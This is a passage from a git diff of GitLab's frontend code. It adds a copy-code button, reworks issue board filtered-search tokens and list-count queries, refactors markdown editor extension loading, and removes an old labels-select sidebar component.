+ this.appendChild(this.createButton());
+ }
+
+ createButton() {
+ const button = document.createElement('button');
+
+ setAttributes(button, {
+ type: 'button',
+ class: 'btn btn-default btn-md gl-button btn-icon has-tooltip',
+ 'data-title': __('Copy to clipboard'),
+ 'data-clipboard-target': `pre#${this.for}`,
+ });
+
+ button.innerHTML = spriteIcon('copy-to-clipboard');
+
+ return button;
+ }
+}
+
+function addCodeButton() {
+ [...document.querySelectorAll('pre.code.js-syntax-highlight')]
+ .filter((el) => !el.closest('.js-markdown-code'))
+ .forEach((el) => {
+ const copyCodeEl = document.createElement('copy-code');
+ copyCodeEl.setAttribute('for', uniqueId('code-'));
+
+ const wrapper = document.createElement('div');
+ wrapper.className = 'gl-relative markdown-code-block js-markdown-code';
+ wrapper.appendChild(el.cloneNode(true));
+ wrapper.appendChild(copyCodeEl);
+
+ el.parentNode.insertBefore(wrapper, el);
+
+ el.remove();
+ });
+}
+
+export const initCopyCodeButton = (selector = '#content-body') => {
+ if (!customElements.get('copy-code')) {
+ customElements.define('copy-code', CopyCodeButton);
+ }
+
+ const el = document.querySelector(selector);
+
+ if (!el) return () => {};
+
+ const observer = new MutationObserver(() => addCodeButton());
+
+ observer.observe(document.querySelector(selector), {
+ childList: true,
+ subtree: true,
+ });
+
+ return () => observer.disconnect();
+};
diff --git a/app/assets/javascripts/behaviors/gl_emoji.js b/app/assets/javascripts/behaviors/gl_emoji.js
index ef445548e6e..8fe90b6bb15 100644
--- a/app/assets/javascripts/behaviors/gl_emoji.js
+++ b/app/assets/javascripts/behaviors/gl_emoji.js
@@ -33,7 +33,7 @@ class GlEmoji extends HTMLElement {
this.dataset.unicodeVersion = unicodeVersion;
emojiUnicode = emojiInfo.e;
- this.innerHTML = emojiInfo.e;
+ this.textContent = emojiInfo.e;
this.title = emojiInfo.d;
}
diff --git a/app/assets/javascripts/behaviors/index.js b/app/assets/javascripts/behaviors/index.js
index bfd025e8dab..30160248a77 100644
--- a/app/assets/javascripts/behaviors/index.js
+++ b/app/assets/javascripts/behaviors/index.js
@@ -1,6 +1,5 @@
import $ from 'jquery';
import './autosize';
-import './bind_in_out';
import './markdown/render_gfm';
import initCollapseSidebarOnWindowResize from './collapse_sidebar_on_window_resize';
import initCopyToClipboard from './copy_to_clipboard';
diff --git a/app/assets/javascripts/behaviors/shortcuts/shortcuts_issuable.js b/app/assets/javascripts/behaviors/shortcuts/shortcuts_issuable.js
index c2908133fd0..e58c51104c5 100644
--- a/app/assets/javascripts/behaviors/shortcuts/shortcuts_issuable.js
+++ b/app/assets/javascripts/behaviors/shortcuts/shortcuts_issuable.js
@@ -3,6 +3,7 @@ import Mousetrap from 'mousetrap';
import { clickCopyToClipboardButton } from '~/behaviors/copy_to_clipboard';
import { getSelectedFragment } from '~/lib/utils/common_utils';
import { isElementVisible } from '~/lib/utils/dom_utils';
+import { DEBOUNCE_DROPDOWN_DELAY } from '~/vue_shared/components/sidebar/labels_select_widget/constants';
import Sidebar from '../../right_sidebar';
import { CopyAsGFM } from '../markdown/copy_as_gfm';
import {
@@ -114,6 +115,14 @@ export default class ShortcutsIssuable extends Shortcuts {
static openSidebarDropdown(name) {
Sidebar.instance.openDropdown(name);
+ // Wait for the sidebar to trigger('click') open
+ // so it doesn't cause our dropdown to close preemptively
+ setTimeout(() => {
+ const editBtn =
+ document.querySelector(`.block.${name} .shortcut-sidebar-dropdown-toggle`) ||
+ document.querySelector(`.block.${name} .edit-link`);
+ editBtn.click();
+ }, DEBOUNCE_DROPDOWN_DELAY);
return false;
}
diff --git a/app/assets/javascripts/blob/components/blob_content.vue b/app/assets/javascripts/blob/components/blob_content.vue
index e3e43ea3a0e..9832ebbea5c 100644
--- a/app/assets/javascripts/blob/components/blob_content.vue
+++ b/app/assets/javascripts/blob/components/blob_content.vue
@@ -86,7 +86,7 @@ export default {
:file-name="blob.name"
:type="activeViewer.fileType"
:hide-line-numbers="hideLineNumbers"
- data-qa-selector="file_content"
+ data-qa-selector="blob_viewer_file_content"
/>
</template>
</div>
diff --git a/app/assets/javascripts/blob/pdf/pdf_viewer.vue b/app/assets/javascripts/blob/pdf/pdf_viewer.vue
index 96d6f500960..a1a62abeb6f 100644
--- a/app/assets/javascripts/blob/pdf/pdf_viewer.vue
+++ b/app/assets/javascripts/blob/pdf/pdf_viewer.vue
@@ -38,7 +38,13 @@ export default {
<div v-if="loading && !error" class="text-center loading">
<gl-loading-icon class="mt-5" size="lg" />
</div>
- <pdf-lab v-if="!loadError" :pdf="pdf" @pdflabload="onLoad" @pdflaberror="onError" />
+ <pdf-lab
+ v-if="!loadError"
+ :pdf="pdf"
+ @pdflabload="onLoad"
+ @pdflaberror="onError"
+ v-on="$listeners"
+ />
<p v-if="error" class="text-center">
<span v-if="loadError" ref="loadError">
{{ __('An error occurred while loading the file. Please try again later.') }}
diff --git a/app/assets/javascripts/blob/pipeline_tour_success_modal.vue b/app/assets/javascripts/blob/pipeline_tour_success_modal.vue
index e75aa523ed0..47a0c4ba2d1 100644
--- a/app/assets/javascripts/blob/pipeline_tour_success_modal.vue
+++ b/app/assets/javascripts/blob/pipeline_tour_success_modal.vue
@@ -71,7 +71,7 @@ export default {
i18n: {
modalTitle: __("That's it, well done!"),
pipelinesButton: s__('MR widget|See your pipeline in action'),
- mergeRequestButton: s__('MR widget|Back to the Merge request'),
+ mergeRequestButton: s__('MR widget|Back to the merge request'),
bodyMessage: s__(
`MR widget|The pipeline will test your code on every commit. A %{codeQualityLinkStart}code quality report%{codeQualityLinkEnd} will appear in your merge requests to warn you about potential code degradations.`,
),
diff --git a/app/assets/javascripts/blob_edit/edit_blob.js b/app/assets/javascripts/blob_edit/edit_blob.js
index 118cef59d5a..ee2f6cfb46c 100644
--- a/app/assets/javascripts/blob_edit/edit_blob.js
+++ b/app/assets/javascripts/blob_edit/edit_blob.js
@@ -1,4 +1,5 @@
import $ from 'jquery';
+import { SourceEditorExtension } from '~/editor/extensions/source_editor_extension_base';
import { FileTemplateExtension } from '~/editor/extensions/source_editor_file_template_ext';
import SourceEditor from '~/editor/source_editor';
import { getBlobLanguage } from '~/editor/utils';
@@ -26,23 +27,29 @@ export default class EditBlob {
this.editor.focus();
}
- fetchMarkdownExtension() {
- import('~/editor/extensions/source_editor_markdown_ext')
- .then(({ EditorMarkdownExtension: MarkdownExtension } = {}) => {
- this.editor.use(
- new MarkdownExtension({
- instance: this.editor,
- previewMarkdownPath: this.options.previewMarkdownPath,
- }),
- );
- this.hasMarkdownExtension = true;
- addEditorMarkdownListeners(this.editor);
- })
- .catch((e) =>
- createFlash({
- message: `${BLOB_EDITOR_ERROR}: ${e}`,
- }),
- );
+ async fetchMarkdownExtension() {
+ try {
+ const [
+ { EditorMarkdownExtension: MarkdownExtension },
+ { EditorMarkdownPreviewExtension: MarkdownLivePreview },
+ ] = await Promise.all([
+ import('~/editor/extensions/source_editor_markdown_ext'),
+ import('~/editor/extensions/source_editor_markdown_livepreview_ext'),
+ ]);
+ this.editor.use([
+ { definition: MarkdownExtension },
+ {
+ definition: MarkdownLivePreview,
+ setupOptions: { previewMarkdownPath: this.options.previewMarkdownPath },
+ },
+ ]);
+ } catch (e) {
+ createFlash({
+ message: `${BLOB_EDITOR_ERROR}: ${e}`,
+ });
+ }
+ this.hasMarkdownExtension = true;
+ addEditorMarkdownListeners(this.editor);
}
configureMonacoEditor() {
@@ -60,7 +67,7 @@ export default class EditBlob {
blobPath: fileNameEl.value,
blobContent: editorEl.innerText,
});
- this.editor.use(new FileTemplateExtension({ instance: this.editor }));
+ this.editor.use([{ definition: SourceEditorExtension }, { definition: FileTemplateExtension }]);
fileNameEl.addEventListener('change', () => {
this.editor.updateModelLanguage(fileNameEl.value);
diff --git a/app/assets/javascripts/boards/boards_util.js b/app/assets/javascripts/boards/boards_util.js
index e6c91c7ac1f..7e4d3ebb686 100644
--- a/app/assets/javascripts/boards/boards_util.js
+++ b/app/assets/javascripts/boards/boards_util.js
@@ -1,6 +1,6 @@
import { sortBy, cloneDeep } from 'lodash';
import { isGid } from '~/graphql_shared/utils';
-import { ListType, MilestoneIDs } from './constants';
+import { ListType, MilestoneIDs, AssigneeFilterType, MilestoneFilterType } from './constants';
export function getMilestone() {
return null;
@@ -186,6 +186,7 @@ export function isListDraggable(list) {
export const FiltersInfo = {
assigneeUsername: {
negatedSupport: true,
+ remap: (k, v) => (v === AssigneeFilterType.any ? 'assigneeWildcardId' : k),
},
assigneeId: {
// assigneeId should be renamed to assigneeWildcardId.
@@ -204,6 +205,11 @@ export const FiltersInfo = {
},
milestoneTitle: {
negatedSupport: true,
+ remap: (k, v) => (Object.values(MilestoneFilterType).includes(v) ? 'milestoneWildcardId' : k),
+ },
+ milestoneWildcardId: {
+ negatedSupport: true,
+ transform: (val) => val.toUpperCase(),
},
myReactionEmoji: {
negatedSupport: true,
@@ -214,6 +220,10 @@ export const FiltersInfo = {
types: {
negatedSupport: true,
},
+ confidential: {
+ negatedSupport: false,
+ transform: (val) => val === 'yes',
+ },
search: {
negatedSupport: false,
},
diff --git a/app/assets/javascripts/boards/components/board_card_inner.vue b/app/assets/javascripts/boards/components/board_card_inner.vue
index b6ccc6a00fe..ea80496c3f5 100644
--- a/app/assets/javascripts/boards/components/board_card_inner.vue
+++ b/app/assets/javascripts/boards/components/board_card_inner.vue
@@ -13,7 +13,7 @@ import boardCardInner from 'ee_else_ce/boards/mixins/board_card_inner';
import { isScopedLabel } from '~/lib/utils/common_utils';
import { updateHistory } from '~/lib/utils/url_utility';
import { sprintf, __, n__ } from '~/locale';
-import TooltipOnTruncate from '~/vue_shared/components/tooltip_on_truncate.vue';
+import TooltipOnTruncate from '~/vue_shared/components/tooltip_on_truncate/tooltip_on_truncate.vue';
import UserAvatarLink from '../../vue_shared/components/user_avatar/user_avatar_link.vue';
import { ListType } from '../constants';
import eventHub from '../eventhub';
diff --git a/app/assets/javascripts/boards/components/board_content_sidebar.vue b/app/assets/javascripts/boards/components/board_content_sidebar.vue
index 54668c9e88e..f89f8e5feb8 100644
--- a/app/assets/javascripts/boards/components/board_content_sidebar.vue
+++ b/app/assets/javascripts/boards/components/board_content_sidebar.vue
@@ -4,7 +4,6 @@ import { MountingPortal } from 'portal-vue';
import { mapState, mapActions, mapGetters } from 'vuex';
import SidebarDropdownWidget from 'ee_else_ce/sidebar/components/sidebar_dropdown_widget.vue';
import { __, sprintf } from '~/locale';
-import BoardSidebarLabelsSelect from '~/boards/components/sidebar/board_sidebar_labels_select.vue';
import BoardSidebarTimeTracker from '~/boards/components/sidebar/board_sidebar_time_tracker.vue';
import BoardSidebarTitle from '~/boards/components/sidebar/board_sidebar_title.vue';
import { ISSUABLE } from '~/boards/constants';
@@ -26,7 +25,6 @@ export default {
SidebarDateWidget,
SidebarConfidentialityWidget,
BoardSidebarTimeTracker,
- BoardSidebarLabelsSelect,
SidebarLabelsWidget,
SidebarSubscriptionsWidget,
SidebarDropdownWidget,
@@ -210,7 +208,6 @@ export default {
data-testid="sidebar-due-date"
/>
<sidebar-labels-widget
- v-if="glFeatures.labelsWidget"
class="block labels"
data-testid="sidebar-labels"
:iid="activeBoardItem.iid"
@@ -230,7 +227,6 @@ export default {
>
{{ __('None') }}
</sidebar-labels-widget>
- <board-sidebar-labels-select v-else class="block labels" />
<sidebar-weight-widget
v-if="weightFeatureAvailable"
:iid="activeBoardItem.iid"
diff --git a/app/assets/javascripts/boards/components/board_filtered_search.vue b/app/assets/javascripts/boards/components/board_filtered_search.vue
index 6e6ada2d109..09ec385bbba 100644
--- a/app/assets/javascripts/boards/components/board_filtered_search.vue
+++ b/app/assets/javascripts/boards/components/board_filtered_search.vue
@@ -1,7 +1,7 @@
<script>
import { pickBy, isEmpty } from 'lodash';
import { mapActions } from 'vuex';
-import { getIdFromGraphQLId } from '~/graphql_shared/utils';
+import { getIdFromGraphQLId, isGid } from '~/graphql_shared/utils';
import { updateHistory, setUrlParams } from '~/lib/utils/url_utility';
import { __ } from '~/locale';
import { FILTERED_SEARCH_TERM } from '~/vue_shared/components/filtered_search_bar/constants';
@@ -39,30 +39,33 @@ export default {
assigneeUsername,
search,
milestoneTitle,
+ iterationId,
types,
weight,
epicId,
myReactionEmoji,
+ releaseTag,
+ confidential,
} = this.filterParams;
const filteredSearchValue = [];
if (authorUsername) {
filteredSearchValue.push({
- type: 'author_username',
+ type: 'author',
value: { data: authorUsername, operator: '=' },
});
}
if (assigneeUsername) {
filteredSearchValue.push({
- type: 'assignee_username',
+ type: 'assignee',
value: { data: assigneeUsername, operator: '=' },
});
}
if (types) {
filteredSearchValue.push({
- type: 'types',
+ type: 'type',
value: { data: types, operator: '=' },
});
}
@@ -70,7 +73,7 @@ export default {
if (labelName?.length) {
filteredSearchValue.push(
...labelName.map((label) => ({
- type: 'label_name',
+ type: 'label',
value: { data: label, operator: '=' },
})),
);
@@ -78,11 +81,18 @@ export default {
if (milestoneTitle) {
filteredSearchValue.push({
- type: 'milestone_title',
+ type: 'milestone',
value: { data: milestoneTitle, operator: '=' },
});
}
+ if (iterationId) {
+ filteredSearchValue.push({
+ type: 'iteration',
+ value: { data: iterationId, operator: '=' },
+ });
+ }
+
if (weight) {
filteredSearchValue.push({
type: 'weight',
@@ -92,32 +102,53 @@ export default {
if (myReactionEmoji) {
filteredSearchValue.push({
- type: 'my_reaction_emoji',
+ type: 'my-reaction',
value: { data: myReactionEmoji, operator: '=' },
});
}
+ if (releaseTag) {
+ filteredSearchValue.push({
+ type: 'release',
+ value: { data: releaseTag, operator: '=' },
+ });
+ }
+
+ if (confidential !== undefined) {
+ filteredSearchValue.push({
+ type: 'confidential',
+ value: { data: confidential },
+ });
+ }
+
if (epicId) {
filteredSearchValue.push({
- type: 'epic_id',
+ type: 'epic',
value: { data: epicId, operator: '=' },
});
}
if (this.filterParams['not[authorUsername]']) {
filteredSearchValue.push({
- type: 'author_username',
+ type: 'author',
value: { data: this.filterParams['not[authorUsername]'], operator: '!=' },
});
}
if (this.filterParams['not[milestoneTitle]']) {
filteredSearchValue.push({
- type: 'milestone_title',
+ type: 'milestone',
value: { data: this.filterParams['not[milestoneTitle]'], operator: '!=' },
});
}
+ if (this.filterParams['not[iteration_id]']) {
+ filteredSearchValue.push({
+ type: 'iteration_id',
+ value: { data: this.filterParams['not[iteration_id]'], operator: '!=' },
+ });
+ }
+
if (this.filterParams['not[weight]']) {
filteredSearchValue.push({
type: 'weight',
@@ -127,7 +158,7 @@ export default {
if (this.filterParams['not[assigneeUsername]']) {
filteredSearchValue.push({
- type: 'assignee_username',
+ type: 'assignee',
value: { data: this.filterParams['not[assigneeUsername]'], operator: '!=' },
});
}
@@ -135,7 +166,7 @@ export default {
if (this.filterParams['not[labelName]']) {
filteredSearchValue.push(
...this.filterParams['not[labelName]'].map((label) => ({
- type: 'label_name',
+ type: 'label',
value: { data: label, operator: '!=' },
})),
);
@@ -143,25 +174,32 @@ export default {
if (this.filterParams['not[types]']) {
filteredSearchValue.push({
- type: 'types',
+ type: 'type',
value: { data: this.filterParams['not[types]'], operator: '!=' },
});
}
if (this.filterParams['not[epicId]']) {
filteredSearchValue.push({
- type: 'epic_id',
+ type: 'epic',
value: { data: this.filterParams['not[epicId]'], operator: '!=' },
});
}
if (this.filterParams['not[myReactionEmoji]']) {
filteredSearchValue.push({
- type: 'my_reaction_emoji',
+ type: 'my-reaction',
value: { data: this.filterParams['not[myReactionEmoji]'], operator: '!=' },
});
}
+ if (this.filterParams['not[releaseTag]']) {
+ filteredSearchValue.push({
+ type: 'release',
+ value: { data: this.filterParams['not[releaseTag]'], operator: '!=' },
+ });
+ }
+
if (search) {
filteredSearchValue.push(search);
}
@@ -179,8 +217,10 @@ export default {
weight,
epicId,
myReactionEmoji,
+ iterationId,
+ releaseTag,
+ confidential,
} = this.filterParams;
-
let notParams = {};
if (Object.prototype.hasOwnProperty.call(this.filterParams, 'not')) {
@@ -194,6 +234,8 @@ export default {
'not[weight]': this.filterParams.not.weight,
'not[epic_id]': this.filterParams.not.epicId,
'not[my_reaction_emoji]': this.filterParams.not.myReactionEmoji,
+ 'not[iteration_id]': this.filterParams.not.iterationId,
+ 'not[release_tag]': this.filterParams.not.releaseTag,
},
undefined,
);
@@ -205,11 +247,14 @@ export default {
'label_name[]': labelName,
assignee_username: assigneeUsername,
milestone_title: milestoneTitle,
+ iteration_id: iterationId,
search,
types,
weight,
- epic_id: getIdFromGraphQLId(epicId),
+ epic_id: isGid(epicId) ? getIdFromGraphQLId(epicId) : epicId,
my_reaction_emoji: myReactionEmoji,
+ release_tag: releaseTag,
+ confidential,
};
},
},
@@ -246,30 +291,39 @@ export default {
filters.forEach((filter) => {
switch (filter.type) {
- case 'author_username':
+ case 'author':
filterParams.authorUsername = filter.value.data;
break;
- case 'assignee_username':
+ case 'assignee':
filterParams.assigneeUsername = filter.value.data;
break;
- case 'types':
+ case 'type':
filterParams.types = filter.value.data;
break;
- case 'label_name':
+ case 'label':
labels.push(filter.value.data);
break;
- case 'milestone_title':
+ case 'milestone':
filterParams.milestoneTitle = filter.value.data;
break;
+ case 'iteration':
+ filterParams.iterationId = filter.value.data;
+ break;
case 'weight':
filterParams.weight = filter.value.data;
break;
- case 'epic_id':
+ case 'epic':
filterParams.epicId = filter.value.data;
break;
- case 'my_reaction_emoji':
+ case 'my-reaction':
filterParams.myReactionEmoji = filter.value.data;
break;
+ case 'release':
+ filterParams.releaseTag = filter.value.data;
+ break;
+ case 'confidential':
+ filterParams.confidential = filter.value.data;
+ break;
case 'filtered-search-term':
if (filter.value.data) plainText.push(filter.value.data);
break;
@@ -285,6 +339,7 @@ export default {
if (plainText.length) {
filterParams.search = plainText.join(' ');
}
+
return filterParams;
},
},
diff --git a/app/assets/javascripts/boards/components/board_list.vue b/app/assets/javascripts/boards/components/board_list.vue
index 47dffc985aa..e4c3c3206a8 100644
--- a/app/assets/javascripts/boards/components/board_list.vue
+++ b/app/assets/javascripts/boards/components/board_list.vue
@@ -6,6 +6,7 @@ import { sortableStart, sortableEnd } from '~/boards/mixins/sortable_default_opt
import { sprintf, __ } from '~/locale';
import defaultSortableConfig from '~/sortable/sortable_config';
import Tracking from '~/tracking';
+import listQuery from 'ee_else_ce/boards/graphql/board_lists_deferred.query.graphql';
import { toggleFormEventPrefix, DraggableItemTypes } from '../constants';
import eventHub from '../eventhub';
import BoardCard from './board_card.vue';
@@ -50,11 +51,22 @@ export default {
showEpicForm: false,
};
},
+ apollo: {
+ boardList: {
+ query: listQuery,
+ variables() {
+ return {
+ id: this.list.id,
+ filters: this.filterParams,
+ };
+ },
+ },
+ },
computed: {
- ...mapState(['pageInfoByListId', 'listsFlags']),
+ ...mapState(['pageInfoByListId', 'listsFlags', 'filterParams']),
...mapGetters(['isEpicBoard']),
listItemsCount() {
- return this.isEpicBoard ? this.list.epicsCount : this.list.issuesCount;
+ return this.isEpicBoard ? this.list.epicsCount : this.boardList?.issuesCount;
},
paginatedIssueText() {
return sprintf(__('Showing %{pageSize} of %{total} %{issuableType}'), {
diff --git a/app/assets/javascripts/boards/components/board_list_header.vue b/app/assets/javascripts/boards/components/board_list_header.vue
index e985a368e64..19004518edf 100644
--- a/app/assets/javascripts/boards/components/board_list_header.vue
+++ b/app/assets/javascripts/boards/components/board_list_header.vue
@@ -17,6 +17,7 @@ import sidebarEventHub from '~/sidebar/event_hub';
import Tracking from '~/tracking';
import { formatDate } from '~/lib/utils/datetime_utility';
import glFeatureFlagMixin from '~/vue_shared/mixins/gl_feature_flags_mixin';
+import listQuery from 'ee_else_ce/boards/graphql/board_lists_deferred.query.graphql';
import AccessorUtilities from '../../lib/utils/accessor';
import { inactiveId, LIST, ListType, toggleFormEventPrefix } from '../constants';
import eventHub from '../eventhub';
@@ -74,7 +75,7 @@ export default {
},
},
computed: {
- ...mapState(['activeId']),
+ ...mapState(['activeId', 'filterParams']),
...mapGetters(['isEpicBoard', 'isSwimlanesOn']),
isLoggedIn() {
return Boolean(this.currentUserId);
@@ -119,14 +120,11 @@ export default {
}
return false;
},
- itemsCount() {
- return this.list.issuesCount;
- },
countIcon() {
return 'issues';
},
itemsTooltipLabel() {
- return n__(`%d issue`, `%d issues`, this.itemsCount);
+ return n__(`%d issue`, `%d issues`, this.boardLists?.issuesCount);
},
chevronTooltip() {
return this.list.collapsed ? this.$options.i18n.expand : this.$options.i18n.collapse;
@@ -158,6 +156,23 @@ export default {
userCanDrag() {
return !this.disabled && isListDraggable(this.list);
},
+ isLoading() {
+ return this.$apollo.queries.boardList.loading;
+ },
+ },
+ apollo: {
+ boardList: {
+ query: listQuery,
+ variables() {
+ return {
+ id: this.list.id,
+ filters: this.filterParams,
+ };
+ },
+ skip() {
+ return this.isEpicBoard;
+ },
+ },
},
created() {
const localCollapsed = parseBoolean(localStorage.getItem(`${this.uniqueKey}.collapsed`));
@@ -375,10 +390,10 @@ export default {
</gl-sprintf>
</div>
<div v-else>• {{ itemsTooltipLabel }}</div>
- <div v-if="weightFeatureAvailable">
+ <div v-if="weightFeatureAvailable && !isLoading">
•
<gl-sprintf :message="__('%{totalWeight} total weight')">
- <template #totalWeight>{{ list.totalWeight }}</template>
+ <template #totalWeight>{{ boardList.totalWeight }}</template>
</gl-sprintf>
</div>
</gl-tooltip>
@@ -396,14 +411,18 @@ export default {
<gl-tooltip :target="() => $refs.itemCount" :title="itemsTooltipLabel" />
<span ref="itemCount" class="gl-display-inline-flex gl-align-items-center">
<gl-icon class="gl-mr-2" :name="countIcon" />
- <item-count :items-size="itemsCount" :max-issue-count="list.maxIssueCount" />
+ <item-count
+ v-if="!isLoading"
+ :items-size="isEpicBoard ? list.epicsCount : boardList.issuesCount"
+ :max-issue-count="list.maxIssueCount"
+ />
</span>
<!-- EE start -->
- <template v-if="weightFeatureAvailable && !isEpicBoard">
+ <template v-if="weightFeatureAvailable && !isEpicBoard && !isLoading">
<gl-tooltip :target="() => $refs.weightTooltip" :title="weightCountToolTip" />
<span ref="weightTooltip" class="gl-display-inline-flex gl-ml-3">
<gl-icon class="gl-mr-2" name="weight" />
- {{ list.totalWeight }}
+ {{ boardList.totalWeight }}
</span>
</template>
<!-- EE end -->
diff --git a/app/assets/javascripts/boards/components/boards_selector.vue b/app/assets/javascripts/boards/components/boards_selector.vue
index 71facba1378..69343cd78d8 100644
--- a/app/assets/javascripts/boards/components/boards_selector.vue
+++ b/app/assets/javascripts/boards/components/boards_selector.vue
@@ -349,6 +349,9 @@ export default {
v-if="showCreate"
v-gl-modal-directive="'board-config-modal'"
data-qa-selector="create_new_board_button"
+ data-track-action="click_button"
+ data-track-label="create_new_board"
+ data-track-property="dropdown"
@click.prevent="showPage('new')"
>
{{ s__('IssueBoards|Create new board') }}
diff --git a/app/assets/javascripts/boards/components/issue_board_filtered_search.vue b/app/assets/javascripts/boards/components/issue_board_filtered_search.vue
index bdb9c2be836..7fc87f9f672 100644
--- a/app/assets/javascripts/boards/components/issue_board_filtered_search.vue
+++ b/app/assets/javascripts/boards/components/issue_board_filtered_search.vue
@@ -2,22 +2,25 @@
import { GlFilteredSearchToken } from '@gitlab/ui';
import fuzzaldrinPlus from 'fuzzaldrin-plus';
import { mapActions } from 'vuex';
+import { orderBy } from 'lodash';
import BoardFilteredSearch from 'ee_else_ce/boards/components/board_filtered_search.vue';
import { BoardType } from '~/boards/constants';
import axios from '~/lib/utils/axios_utils';
+import { joinPaths } from '~/lib/utils/url_utility';
import issueBoardFilters from '~/boards/issue_board_filters';
import { TYPE_USER } from '~/graphql_shared/constants';
import { convertToGraphQLId } from '~/graphql_shared/utils';
import { __ } from '~/locale';
import {
- DEFAULT_MILESTONES_GRAPHQL,
TOKEN_TITLE_MY_REACTION,
+ OPERATOR_IS_AND_IS_NOT,
+ OPERATOR_IS_ONLY,
} from '~/vue_shared/components/filtered_search_bar/constants';
import AuthorToken from '~/vue_shared/components/filtered_search_bar/tokens/author_token.vue';
import EmojiToken from '~/vue_shared/components/filtered_search_bar/tokens/emoji_token.vue';
import LabelToken from '~/vue_shared/components/filtered_search_bar/tokens/label_token.vue';
import MilestoneToken from '~/vue_shared/components/filtered_search_bar/tokens/milestone_token.vue';
-import WeightToken from '~/vue_shared/components/filtered_search_bar/tokens/weight_token.vue';
+import ReleaseToken from '~/vue_shared/components/filtered_search_bar/tokens/release_token.vue';
export default {
types: {
@@ -34,12 +37,11 @@ export default {
incident: __('Incident'),
issue: __('Issue'),
milestone: __('Milestone'),
- weight: __('Weight'),
- is: __('is'),
- isNot: __('is not'),
+ release: __('Release'),
+ confidential: __('Confidential'),
},
components: { BoardFilteredSearch },
- inject: ['isSignedIn'],
+ inject: ['isSignedIn', 'releasesFetchPath'],
props: {
fullPath: {
type: String,
@@ -62,15 +64,14 @@ export default {
tokensCE() {
const {
label,
- is,
- isNot,
author,
assignee,
issue,
incident,
type,
milestone,
- weight,
+ release,
+ confidential,
} = this.$options.i18n;
const { types } = this.$options;
const { fetchAuthors, fetchLabels } = issueBoardFilters(
@@ -79,15 +80,12 @@ export default {
this.boardType,
);
- return [
+ const tokens = [
{
icon: 'user',
title: assignee,
- type: 'assignee_username',
- operators: [
- { value: '=', description: is },
- { value: '!=', description: isNot },
- ],
+ type: 'assignee',
+ operators: OPERATOR_IS_AND_IS_NOT,
token: AuthorToken,
unique: true,
fetchAuthors,
@@ -96,11 +94,8 @@ export default {
{
icon: 'pencil',
title: author,
- type: 'author_username',
- operators: [
- { value: '=', description: is },
- { value: '!=', description: isNot },
- ],
+ type: 'author',
+ operators: OPERATOR_IS_AND_IS_NOT,
symbol: '@',
token: AuthorToken,
unique: true,
@@ -110,11 +105,8 @@ export default {
{
icon: 'labels',
title: label,
- type: 'label_name',
- operators: [
- { value: '=', description: is },
- { value: '!=', description: isNot },
- ],
+ type: 'label',
+ operators: OPERATOR_IS_AND_IS_NOT,
token: LabelToken,
unique: false,
symbol: '~',
@@ -123,7 +115,7 @@ export default {
...(this.isSignedIn
? [
{
- type: 'my_reaction_emoji',
+ type: 'my-reaction',
title: TOKEN_TITLE_MY_REACTION,
icon: 'thumb-up',
token: EmojiToken,
@@ -144,22 +136,33 @@ export default {
});
},
},
+ {
+ type: 'confidential',
+ icon: 'eye-slash',
+ title: confidential,
+ unique: true,
+ token: GlFilteredSearchToken,
+ operators: OPERATOR_IS_ONLY,
+ options: [
+ { icon: 'eye-slash', value: 'yes', title: __('Yes') },
+ { icon: 'eye', value: 'no', title: __('No') },
+ ],
+ },
]
: []),
{
- type: 'milestone_title',
+ type: 'milestone',
title: milestone,
icon: 'clock',
symbol: '%',
token: MilestoneToken,
unique: true,
- defaultMilestones: DEFAULT_MILESTONES_GRAPHQL,
fetchMilestones: this.fetchMilestones,
},
{
icon: 'issues',
title: type,
- type: 'types',
+ type: 'type',
token: GlFilteredSearchToken,
unique: true,
options: [
@@ -168,13 +171,27 @@ export default {
],
},
{
- type: 'weight',
- title: weight,
- icon: 'weight',
- token: WeightToken,
- unique: true,
+ type: 'release',
+ title: release,
+ icon: 'rocket',
+ token: ReleaseToken,
+ fetchReleases: (search) => {
+ // TODO: Switch to GraphQL query when backend is ready: https://gitlab.com/gitlab-org/gitlab/-/issues/337686
+ return axios
+ .get(joinPaths(gon.relative_url_root, this.releasesFetchPath))
+ .then(({ data }) => {
+ if (search) {
+ return fuzzaldrinPlus.filter(data, search, {
+ key: ['tag'],
+ });
+ }
+ return data;
+ });
+ },
},
];
+
+ return orderBy(tokens, ['title']);
},
tokens() {
return this.tokensCE;
diff --git a/app/assets/javascripts/boards/components/sidebar/board_sidebar_labels_select.vue b/app/assets/javascripts/boards/components/sidebar/board_sidebar_labels_select.vue
deleted file mode 100644
index ec53947fd5f..00000000000
--- a/app/assets/javascripts/boards/components/sidebar/board_sidebar_labels_select.vue
+++ /dev/null
@@ -1,173 +0,0 @@
-<script>
-import { GlLabel } from '@gitlab/ui';
-import { mapGetters, mapActions } from 'vuex';
-import Api from '~/api';
-import BoardEditableItem from '~/boards/components/sidebar/board_editable_item.vue';
-import { getIdFromGraphQLId } from '~/graphql_shared/utils';
-import { isScopedLabel } from '~/lib/utils/common_utils';
-import { mergeUrlParams } from '~/lib/utils/url_utility';
-import { __ } from '~/locale';
-import LabelsSelect from '~/vue_shared/components/sidebar/labels_select_vue/labels_select_root.vue';
-
-export default {
- components: {
- BoardEditableItem,
- LabelsSelect,
- GlLabel,
- },
- inject: {
- labelsFetchPath: {
- default: null,
- },
- labelsManagePath: {},
- labelsFilterBasePath: {},
- },
- data() {
- return {
- loading: false,
- oldIid: null,
- isEditing: false,
- };
- },
- computed: {
- ...mapGetters(['activeBoardItem', 'projectPathForActiveIssue']),
- selectedLabels() {
- const { labels = [] } = this.activeBoardItem;
-
- return labels.map((label) => ({
- ...label,
- id: getIdFromGraphQLId(label.id),
- }));
- },
- issueLabels() {
- const { labels = [] } = this.activeBoardItem;
-
- return labels.map((label) => ({
- ...label,
- scoped: isScopedLabel(label),
- }));
- },
- fetchPath() {
- /*
- Labels fetched in epic boards are always group-level labels
- and the correct path are passed from the backend (injected through labelsFetchPath)
-
- For issue boards, we should always include project-level labels and use a different endpoint.
- (it requires knowing the project path of a selected issue.)
-
- Note 1. that we will be using GraphQL to fetch labels when we create a labels select widget.
- And this component will be removed _wholesale_ https://gitlab.com/gitlab-org/gitlab/-/issues/300653.
-
- Note 2. Moreover, 'fetchPath' needs to be used as a key for 'labels-select' component to force updates.
- 'labels-select' has its own vuex store and initializes the passed props as states
- and these states aren't reactively bound to the passed props.
- */
-
- const projectLabelsFetchPath = mergeUrlParams(
- { include_ancestor_groups: true },
- Api.buildUrl(Api.projectLabelsPath).replace(
- ':namespace_path/:project_path',
- this.projectPathForActiveIssue,
- ),
- );
-
- return this.labelsFetchPath || projectLabelsFetchPath;
- },
